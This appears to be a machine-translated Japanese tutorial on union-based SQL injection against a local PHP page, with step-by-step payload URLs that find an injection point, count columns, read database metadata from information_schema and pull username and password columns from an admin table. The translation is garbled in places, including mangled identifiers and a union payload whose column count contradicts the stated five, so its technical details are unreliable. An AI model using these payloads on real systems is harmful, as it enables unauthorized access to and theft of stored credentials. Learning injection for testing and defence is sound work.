web浸透-SQL注入データベース情報盗撮

1581 ワード

sql注入の原理
スクリプトコードは、フロントエンドデータからフィルタリングされていないことを受信し、悪意のあるsql文をデータベースに挿入してクエリを実行します.
次のコード:
sql注入攻撃プロセス
1.and文法は注入点があるかどうかを判断します.
And 1=1正しいページ
And 1=2エラーページ
http://127.0.0.1:80/index.php?id=1 and 1=1 
http://127.0.0.1:80/index.php?id=1 and 1=2
結果:上記の2つの文がページエラーを引き起こしていない場合、ここに注入点があると判断します.
2.order by文はクエリフィールドの数を取得する
http://127.0.0.1:80/index.php?id=1 order by 5
order by 5正しいorder by 6エラー  このテーブルには5つのフィールドの数があります.
3.データベースの該当情報を取得する
Database():データベース名fanke
Version():データベースバージョン5.5.40
User():データベースユーザroot@localhost
@version_comple_OS:オペレーティングシステムwin 32
http://127.0.0.1:80/index.php?id=1 union select User(),Database(),3,4,5
4.データベース名から以下の情報を取得する
要求:Mysql 5.0以上のバージョン
Information_schema:mysqlデータベース下のすべてのデータベースのテーブル名と列名情報を格納するマイデータベース
テーブルname:表名
テーブルschema:データベース名
コロムン.name:列名
information_schema.tables:mysqlデータベース下のすべてのデータベースのテーブル名情報を格納するテーブル
information_schema.com:mysqlデータベース下のすべてのデータベースの列名情報を格納するテーブル
http://127.0.0.1:80/index.php?id=1 union select テーブルname,column_name,2,3,4,5
sqlバージョンが低いなら、以下の方法を使います.
3.unionクエリの名前
http://127.0.0.1:80/index.php?id=1 union select 1,2,3,4,5 from admin
データベースにadminテーブルがあるかどうかを推測する.
4.データベース列の名前を当てる
http://127.0.0.1:80/index.php?id=1 union select 1,username,3,password,5 from admin
データベースにusername、passwordの名前があるかどうかを推測します.